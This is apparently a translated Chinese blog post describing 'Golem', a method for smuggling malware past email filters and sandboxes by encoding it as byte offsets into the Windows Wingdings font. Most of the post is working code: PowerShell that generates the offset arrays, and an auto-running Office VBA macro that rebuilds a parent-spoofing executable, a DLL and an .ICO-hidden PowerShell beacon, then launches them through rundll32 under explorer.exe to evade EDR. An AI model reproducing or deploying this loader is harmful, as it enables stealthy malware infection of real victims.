Golem:隐藏在系统字体中的恶意软件

 

一、前言

现在攻击者们经常使用“Living Off the Land”技术,也就是利用受害者环境中已安装的合法程序来执行恶意操作。通过这种方法,攻击者无需在攻击载荷库中额外添加其他软件:所需的一切都已在受害者计算机中准备就绪。

然而在许多情况下,常见的攻击过程通常会包含如下几个步骤:

1、投递包含载荷的文件,这些载荷既可以是待执行的恶意代码,也可以是非恶意代码,载荷会在第三个阶段下载恶意组件;

2、说服受害者执行攻击载荷;

3、载荷随后会执行如下操作:

  • 利用受害者环境中自带的应用来执行恶意组件;
  • 下载恶意组件,然后利用受害者环境中自带的应用来执行恶意组件。

 

二、目标

我希望能够找到满足如下条件的一种解决方案:

1、不包含内任意恶意代码(甚至是恶意字节),并且能够绕过外围防护(邮件过滤、沙盒等);

2、不会下载任何恶意代码;

3、能够执行恶意代码。

 

三、利用字体自生成恶意软件

首先,我们需要找到每个Windows操作系统上都存在的一个组件。一番搜索后,我终于找到了如下目标:

我对比了各种Windows版本上的Windings字体,发现这个字体在这些系统上完全相同。

由于这个字体似乎是所有Windows计算机上的常见组件,因此我们有可能通过这个媒介实现我们的目标。如何做到这一点?具体步骤如下:

1、在我们的计算机上收集恶意软件包含的字节信息;

2、将恶意软件的首字节与Wingdings字体比较;

3、一旦在该字体中找到同一个字节,则将其位置记录在一个文本文件中;

4、重复此过程,直到我们找到恶意软件中包含的所有字节,并将这些位置信息记录到文本文件中;

5、这样我们的载荷将包含恶意软件每个字节在Wingdings字体中的位置;

6、在受害者主机上,攻击载荷通过Wingdings字体中的字节位置信息重构恶意组件。

查找字体中对应字节的PowerShell代码如下所示:

$Font = "C:WindowsFontswingding.ttf"
$Malware = "C:UsersAdministratorPictures2.PNG"

$fontArray = Get-Content $Font -Encoding Byte -ReadCount 0
$malwareArray = Get-Content $Malware -Encoding Byte -ReadCount 0
$offsetArray = @()
foreach ($byteInMalware in $malwareArray){
    $index = 0
    foreach ($byteInFont in $fontArray) {
        if ($byteInMalware -eq $byteInFont) {
            $offsetArray += $index
            break
        }
        $index++
    }    
}

如上PowerShell代码会生成VBA代码,我们可以将VBA代码插入宏中。如下代码则会生成一个字节数组,数组中包含用来重构恶意组件的每个字节的位置信息:

$i=0
$payload = ""
$j=0
$u=1
$payDef = ""
foreach($offset in $offsetArray){  

    if($i -eq 30) {
        $payload = $payload + ", " + $offset + " _`r`n"
        $i=0       
        $j++ 
    }
    else {
       if($i -eq 0) {
        $payload = $payload + $offset       
       }
       else {
        $payload = $payload + ", " + $offset       
       }
    }
    if($j -eq 25)  {
        $payDef = $payDef + "`r`nFunction ccc$u()
tt$u = Array($payload)
ccc$u = tt$u
End Function"
        $payload = ""
        $u++
        $j = 0
    }
    $i++
}
if($payload -ne ""){
$payDef = $payDef + "`r`nFunction ccc$u()
tt$u = Array($payload)
ccc$u = tt$u
End Function"
}

$payDef

运行结果如下:

如下VBA代码可以根据我们提供的字节数组信息重构恶意组件(然而代码写得并不是特别好),然后选择Explorer.exe作为Rundll32.exe的父进程(加大EDR产品的分析难度),接着使用Rundll32.exe来执行恶意组件(一个.DLL文件,可以用来运行隐藏在.ICO资源中的PowerShell恶意代码)。我们可以修改这个过程,通过注入进程内存空间避免文件落盘。后续工作留待大家来完成。

VBA代码如下:

[...] --> you array of bytes containing the position of necessary bytes in the Windings font.

'example to join the bytes for the fist malicious component

    t1 = cc1
    t2 = cc2
    t3 = cc3
    t4 = cc4
    t5 = cc5
    t6 = cc6
    t7 = cc7
    t8 = cc8
    t9 = cc9
    t10 = cc10
    t11 = cc11
    t12 = cc12
    t13 = cc13
    t14 = cc14
    t15 = cc15
    t16 = cc16
    t17 = cc17
    t18 = cc18

    ttt = Split(Join(t1, ",") & "," & Join(t2, ",") & "," & Join(t3, ",") & "," & Join(t4, ",") & "," & Join(t5, ",") & "," & Join(t6, ",") & "," & Join(t7, ",") & "," & Join(t8, ",") & "," & Join(t9, ",") _
     & "," & Join(t10, ",") & "," & Join(t11, ",") & "," & Join(t12, ",") & "," & Join(t13, ",") & "," & Join(t14, ",") & "," & Join(t15, ",") & "," & Join(t16, ",") & "," & Join(t17, ",") & "," & Join(t18, ","), ",")


[...]


    Dim nb As Integer
    Dim nb2 As Integer
    nb = UBound(ttt) - LBound(ttt) + 1 'ttt is a joined byte array
    nb2 = UBound(tt) - LBound(tt) + 1
    nb3 = UBound(ttttttt) - LBound(ttttttt) + 1
    Dim intFileNumber As Integer
    Dim i As Integer
    Dim j As Integer
    Dim lngFileSize As Long
    Dim lngFileSize2 As Long
    Dim strBuffer As String
    Dim strBuffer2 As String
    Dim lngCharNumber As Long
    Dim lngCharNumber2 As Long
    Dim strCharacter As String * 1
    Dim strCharacter2 As String * 1
    Dim strFileName As String
    Dim strFileName2 As String
    Dim offset() As Variant
        
    strFileName = "C:\Windows\Fonts\wingding.ttf"
    intFileNumber = FreeFile
    Open strFileName For Binary Access Read Shared As #intFileNumber
        lngFileSize = LOF(intFileNumber)
        strBuffer = Space$(lngFileSize)
        Get #intFileNumber, , strBuffer
    Close #intFileNumber

   Dim nFileNum As Long
   Dim sFilename As String
   Dim ind As Long
   sFilename2 = "C:\Users\Public\Documents\changeMyParent.exe" ' crafted binary that will be use to select the parent of rundll32
   sFilename = "C:\Users\Public\Documents\runPoshCode.dll" ' .DLL that will run powershell beacon from an image
   sFilename3 = "C:\Users\Public\Documents\BEACON.ico" ' malicious powershell beacon registered in an .ICO
   nFileNum = FreeFile
   ' a loop would be better ;-)
   Open sFilename2 For Binary Lock Read Write As #nFileNum
       For lngCharNumber = 0 To nb - 1
        ind = lngCharNumber + 1
        off = ttt(lngCharNumber)
        strCharacter = Mid(strBuffer, off, 1)
        Put #nFileNum, ind, strCharacter
       Next lngCharNumber
   Close #nFileNum
   
   nFileNum = FreeFile
   Open sFilename For Binary Lock Read Write As #nFileNum
       For lngCharNumber = 0 To nb2 - 1
        ind = lngCharNumber + 1
        off = tt(lngCharNumber)
        strCharacter = Mid(strBuffer, off, 1)
        Put #nFileNum, ind, strCharacter
       Next lngCharNumber
   Close #nFileNum
   
   nFileNum = FreeFile
   Open sFilename3 For Binary Lock Read Write As #nFileNum
       For lngCharNumber = 0 To nb3 - 1
        ind = lngCharNumber + 1
        off = ttttttt(lngCharNumber)
        strCharacter = Mid(strBuffer, off, 1)
        Put #nFileNum, ind, strCharacter
       Next lngCharNumber
   Close #nFileNum
   rr
End Sub

Sub rr()
  Dim xx As String
  Dim oihfasf As Object, eopuf As Object, kdj As Object
  Dim oDic As Object, a() As Variant
  Dim pskaf As Integer
 
  Set oDic = CreateObject("Scripting.Dictionary")

  xx = "."

  Set oihfasf = GetObject("winmgmts:\\" _
      & xx & "\root\CIMV2")
  Set eopuf = oihfasf.ExecQuery _
      ("Select Name, ProcessID FROM Win32_Process", , 48)

  For Each kdj In eopuf
      If (kdj.Properties_("Name").Value) = "explorer.exe" Then
          pskaf = (kdj.Properties_("ProcessID").Value)
      End If
  Next
Dim t As Date

Dim cnt As Long
Dim arr(2) As Byte

Dim xl As String
xl = "C:\Users\Public\Documents\changeMyParent.exe ""C:\Windows\system32\RunDll32.exe C:\Users\Public\Documents\runPoshCode.dll,ComputeFmMediaType -f C:\Users\Public\Documents\BEACON.ico"" " & pskafxx = "."
Set ow = GetObject("winmgmts:\\" & xx & "\Root\cimv2")
Set os = ow.Get("Win32_ProcessStartup")
Set oc = os.SpawnInstance_
Set op = GetObject("winmgmts:\\" & xx & "\root\cimv2:Win32_Process")
op.Create xl, Null, oc, aslh

End Sub
Sub AutoOpen()
    cc
End Sub
Sub Workbook_Open()
    cc
End Sub

 

这个过程就是这么简单。

(完)